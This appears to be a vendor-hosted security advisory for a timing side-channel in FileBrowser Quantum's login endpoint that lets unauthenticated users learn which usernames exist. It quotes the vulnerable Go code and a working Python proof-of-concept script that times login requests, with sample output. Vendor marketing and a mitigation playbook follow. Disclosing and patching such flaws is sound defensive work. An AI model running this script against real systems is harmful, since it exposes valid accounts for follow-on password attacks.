Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-7789-65hx-f26w

MEDIUM

FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel

Also known asGO-2026-4820
Published
Mar 24, 2026
Updated
Mar 26, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/gtsteffaniak/filebrowser/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.

Details

The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.

user, err := userStore.Get(username)
	if err != nil {
		return nil, fmt.Errorf("unable to get user from store: %v", err)
	}
	err = users.CheckPwd(password, user.Password)
	if err != nil {
		return nil, err
	}

If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.

As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.

In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.

PoC

The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.

import requests
import time
import statistics

# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]

def measure(username):
    start = time.perf_counter()
    requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
    return time.perf_counter() - start

# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")

# 2. Validation Test
for user in WORDLIST:
    t = measure(user)
    status = "VALID" if t > threshold else "invalid"
    print(f"{user:<15} | {t:.4f}s | {status}")

Example output (with admin and user2 configured as valid users in the application):

$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin           | 0.0505s | VALID
root            | 0.0019s | invalid
user2           | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid

Impact

An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gtsteffaniak/filebrowser/backendall versions0.0.0-20260317230626-af08800667b8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7789-65hx-f26w is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7789-65hx-f26w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7789-65hx-f26w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil {
O3 Security · Impact-Aware SCA

Is GHSA-7789-65hx-f26w in your dependencies?

O3 detects GHSA-7789-65hx-f26w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.